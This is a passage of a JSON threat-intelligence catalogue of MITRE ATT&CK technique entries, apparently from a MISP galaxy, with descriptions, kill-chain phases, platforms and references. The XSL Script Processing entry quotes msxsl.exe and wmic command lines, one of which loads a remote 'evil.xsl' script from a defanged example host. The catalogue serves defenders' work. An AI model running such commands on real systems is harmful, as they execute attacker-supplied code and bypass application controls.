"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html"
]
},
"related": [],
"uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483",
"value": "Device Administrator Permissions - T1401"
},
{
"description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",
"meta": {
"external_id": "T1105",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"File: File Creation",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1105"
]
},
"uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
"value": "Ingress Tool Transfer - T1105"
},
{
"description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",
"meta": {
"external_id": "T1061",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1061",
"https://en.wikipedia.org/wiki/Run_command"
]
},
"uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228",
"value": "Graphical User Interface - T1061"
},
{
"description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",
"meta": {
"external_id": "T1601",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1601",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
]
},
"uuid": "ae7f3575-0a5e-427e-991b-fe03ad44c754",
"value": "Modify System Image - T1601"
},
{
"description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.",
"meta": {
"external_id": "CAPEC-187",
"refs": [
"https://attack.mitre.org/techniques/T1017",
"https://capec.mitre.org/data/definitions/187.html"
]
},
"related": [
{
"dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
"value": "Application Deployment Software - T1017"
},
{
"description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ",
"meta": {
"external_id": "T1071",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1071"
]
},
"uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
"value": "Application Layer Protocol - T1071"
},
{
"description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n",
"meta": {
"external_id": "CAPEC-639",
"refs": [
"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
"https://attack.mitre.org/techniques/T1081",
"https://capec.mitre.org/data/definitions/639.html",
"https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
]
},
"related": [
{
"dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
"value": "Credentials in Files - T1081"
},
{
"description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n",
"meta": {
"external_id": "CAPEC-292",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1018",
"https://capec.mitre.org/data/definitions/292.html",
"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
]
},
"uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
"value": "Remote System Discovery - T1018"
},
{
"description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",
"meta": {
"external_id": "T1202",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1202",
"https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe",
"https://twitter.com/Evi1cg/status/935027922397573120",
"https://twitter.com/vector_sec/status/896049052642533376"
]
},
"uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
"value": "Indirect Command Execution - T1202"
},
{
"description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”",
"meta": {
"external_id": "T1220",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1220",
"https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script",
"https://lolbas-project.github.io/lolbas/Binaries/Wmic/",
"https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75",
"https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/",
"https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/",
"https://twitter.com/dez_/status/986614411711442944",
"https://www.microsoft.com/download/details.aspx?id=21714"
]
},
"uuid": "ebbe170d-aa74-4946-8511-9921243415a3",
"value": "XSL Script Processing - T1220"
},
{
"description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",
"meta": {
"external_id": "T1032",
"refs": [
"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1032",
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
]
},
"related": [
{
"dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
"value": "Standard Cryptographic Protocol - T1032"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1230).\n\nLeadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)",
"meta": {
"external_id": "T1230",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1230"
]
},
"uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904",
"value": "Derive intelligence requirements - T1230"
},
{
"description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)",
"meta": {
"external_id": "T1024",
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1024",
"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf",
"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
]
},
"related": [
{
"dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
"value": "Custom Cryptographic Protocol - T1024"
},
{
"description": "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)\n\nDGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.",
"meta": {
"external_id": "T1520",
"kill_chain": [
"mitre-mobile-attack:command-and-control"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1520",
"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
"https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/"
]
},
"related": [],
"uuid": "60623164-ccd8-4508-a141-b5a34820b3de",
"value": "Domain Generation Algorithms - T1520"
},
{
"description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
"meta": {
"external_id": "T1502",
"refs": [
"https://attack.mitre.org/techniques/T1502",
"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
"https://blog.xpnsec.com/becoming-system/",
"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
"https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
"https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
]
},
"related": [
{
"dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "9ddc2534-e91c-4dab-a8f6-43dab81e8142",
"value": "Parent PID Spoofing - T1502"
},
{
"description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
"meta": {
"external_id": "T1620",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: OS API Execution",
"Script: Script Execution"
],
"mitre_platforms": [
"macOS",
"Linux",
"Windows"
],
"refs": [
"https://0x00sec.org/t/super-stealthy-droppers/3715",
"https://attack.mitre.org/techniques/T1620",
"https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html",
"https://thewover.github.io/Introducing-Donut/",
"https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/",
"https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique",
"https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/",
"https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/",
"https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"
]
},
"uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
"value": "Reflective Code Loading - T1620"
},
{
"description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
"meta": {
"external_id": "T1207",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Creation",
"Active Directory: Active Directory Object Modification",
"Network Traffic: Network Traffic Content",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html",
"https://adsecurity.org/?page_id=1821",
"https://attack.mitre.org/techniques/T1207",
"https://github.com/shellster/DCSYNCMonitor",
"https://msdn.microsoft.com/en-us/library/ms677626.aspx",
"https://www.dcshadow.com/"
]
},
"uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a",
"value": "Rogue Domain Controller - T1207"
},
{
"description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.",
"meta": {
"external_id": "CAPEC-187",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1072",
"https://capec.mitre.org/data/definitions/187.html"
]
},
"uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
"value": "Software Deployment Tools - T1072"
},
{
"description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)",
"meta": {
"external_id": "CAPEC-312",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Instance: Instance Metadata",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1082",
"https://capec.mitre.org/data/definitions/312.html",
"https://cloud.google.com/compute/docs/reference/rest/v1/instances",
"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
"https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get",
"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
"https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"
]
},
"uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
"value": "System Information Discovery - T1082"
},
{
"description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)",
"meta": {
"external_id": "CAPEC-555",
"refs": [
"http://msdn.microsoft.com/en-us/library/aa384426",
"https://attack.mitre.org/techniques/T1028",
"https://capec.mitre.org/data/definitions/555.html",
"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
]
},
"related": [
{
"dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39",
"value": "Windows Remote Management - T1028"
},
{
"description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)",
"meta": {
"external_id": "T1043",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1043"
]
},
"uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e",
"value": "Commonly Used Port - T1043"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305).\n\nEvery domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)",
"meta": {
"external_id": "T1305",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1305"
]
},
"uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f",
"value": "Private whois services - T1305"
},
{
"description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.",
"meta": {
"external_id": "T1063",
"refs": [
"https://attack.mitre.org/techniques/T1063"
]
},
"related": [
{
"dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7",
"value": "Security Software Discovery - T1063"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360).\n\nAn adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)",
"meta": {
"external_id": "T1360",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1360"
]
},
"uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81",
"value": "Test physical access - T1360"
},
{
"description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.",
"meta": {
"external_id": "APP-26",
"kill_chain": [
"mitre-mobile-attack:privilege-escalation"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1404",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html"
]
},
"uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
"value": "Exploit OS Vulnerability - T1404"
},
{
"description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).",
"meta": {
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:credential-access",
"mitre-mobile-attack:privilege-escalation"
],
"mitre_platforms": [
"Android"
],
"refs": [
"http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html",
"https://attack.mitre.org/techniques/T1405",
"https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
"https://usmile.at/symposium/program/2015/ekberg",
"https://usmile.at/symposium/program/2015/thomas-holmes"
]
},
"uuid": "ef771e03-e080-43b4-a619-ac6f84899884",
"value": "Exploit TEE Vulnerability - T1405"
},
{
"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.",
"meta": {
